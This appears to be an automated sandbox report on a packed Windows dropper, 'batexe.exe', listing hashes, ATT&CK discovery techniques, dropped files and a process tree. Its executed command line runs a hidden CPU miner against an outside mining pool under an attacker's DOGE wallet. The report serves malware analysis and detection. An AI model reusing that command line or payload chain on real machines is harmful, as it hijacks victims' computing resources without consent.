73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
303s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
19/02/2024, 18:48

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
3052	b2e.exe
4420	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4420	cpuminer-sse2.exe
4420	cpuminer-sse2.exe
4420	cpuminer-sse2.exe
4420	cpuminer-sse2.exe
4420	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2468-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2468 wrote to memory of 3052	2468	batexe.exe	85
PID 2468 wrote to memory of 3052	2468	batexe.exe	85
PID 2468 wrote to memory of 3052	2468	batexe.exe	85
PID 3052 wrote to memory of 456	3052	b2e.exe	86
PID 3052 wrote to memory of 456	3052	b2e.exe	86
PID 3052 wrote to memory of 456	3052	b2e.exe	86
PID 456 wrote to memory of 4420	456	cmd.exe	89
PID 456 wrote to memory of 4420	456	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2468
- C:\Users\Admin\AppData\Local\Temp\70BB.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\70BB.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\70BB.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3052
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\74A3.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:456
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4420

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\70BB.tmp\b2e.exe

Filesize
11.0MB

MD5
8044f0ef4281a5cdc0033953a238f655

SHA1
6a178e27f02cfded70b7e02601853610d329866b

SHA256
3bbae0f981d2c4497748e179eb3660a2a5c643b5ad2aaa3077e05e53bf25c64a

SHA512
772ec7075954966045517a2335d58b0d15def2f591a3d0f405bb0246d5ed4bb9cfcf9a4b20974f295b56e9211de3dc8930f89d711422f297516719118f9f3a23

Download Submit
C:\Users\Admin\AppData\Local\Temp\70BB.tmp\b2e.exe

Filesize
4.4MB

MD5
291aea6c8c9590ebfb08d8d5e54e831b

SHA1
9dc1723feb39965229291276ce563ce97f5bd218

SHA256
5e11847781ce682ea6d09a394e5878ff23151f3eafc27a9379ce922350a42bbb

SHA512
4dc8fe28b549101253c16eaba2481f13615ff6d2244afb5c5ae0f11aad3c8678454289734f993148700810a8c30a117040fca9440a57903f75291e74b858828d

Download Submit
C:\Users\Admin\AppData\Local\Temp\70BB.tmp\b2e.exe

Filesize
4.7MB

MD5
5f8f9b60f5d927a83a9bf8d5c7c24400

SHA1
c54efe93f5e2ac08798ca48bb3139142982f8a90

SHA256
267b9bef853df230dd84b809cccc85565d1ac2dfe044d310a5099923a1c8fffa

SHA512
38898b40444281551ab693751857cfdc6b6531ee84d9fa791d95d981b3eb723898eb693f78ab21f2590a6b84df1bba2e4ffd7b56426bf9fd6d66ad01da5f80c5

Download Submit
C:\Users\Admin\AppData\Local\Temp\74A3.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.7MB

MD5
c5f7e5db4eda441419c9e74514a13132

SHA1
67f217a03b22ca9e980ffce907b9be4b0e25205d

SHA256
a523887b9adaa4e27fc047df371f0266268107ade496908366775714fce7c9af

SHA512
d1d0be50db1b3396592258344a488b86046a69b4cf1df255ff31ccc7a2e70b54211262cc7cb2d06d129121f6b551654d36d6071696c104d66f2b2da3bf1a83df

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.0MB

MD5
57e59ae23e330886bea1b998443f01fb

SHA1
291832f636dc0084058b032a12b12428233d8082

SHA256
f22d759704abca997e28c42cbea5fbddf5f579ef7e2889d84f28c928b2852124

SHA512
5fa89103a82966eab8249caaee5c7f28067fa05cf4e444e81d1307e3b2574e663d1422fdf47e53637207c6852de53823248234d9e871a2dabb7378f0d4ee3eca

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.8MB

MD5
0c53dec9f1f53295a2be760856493f0b

SHA1
4312a0bc9ced07bab7e86566495e4b3229acdb08

SHA256
d88500d262698aa600dd5652a9047681315be164fcc52645fd790abe3100277e

SHA512
0d34458d02d8df8e14edf158bcbf4ba93c9d61e5f97cffab4970b23936f7140b01d797c216a1f717e2bf1166f97c50ed0d76f7970c33e3df01d684d7299dd6c7

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.5MB

MD5
d8cdff70c7bb35927c064c4ccd5afb85

SHA1
23729fde559f17e86a84c361a37d8af14cc18aca

SHA256
29483c7dbe515a7924259a1ece5102210dfd40b97b8e5b7c3b874628efb66d75

SHA512
4e06fbfe1f6be52c65c064dadeabd5f5dd03ef17d97275426985db8c4fbfc088e141b35480ce8480ae0909b2bb3d87c97563fd1d708cb0c5d53b05fdd6e5a35c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2468-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3052-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3052-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4420-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4420-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4420-46-0x0000000067D60000-0x0000000067DF8000-memory.dmp

Filesize
608KB

Download
memory/4420-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/4420-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4420-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4420-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4420-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4420-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4420-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4420-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4420-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4420-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4420-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4420-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download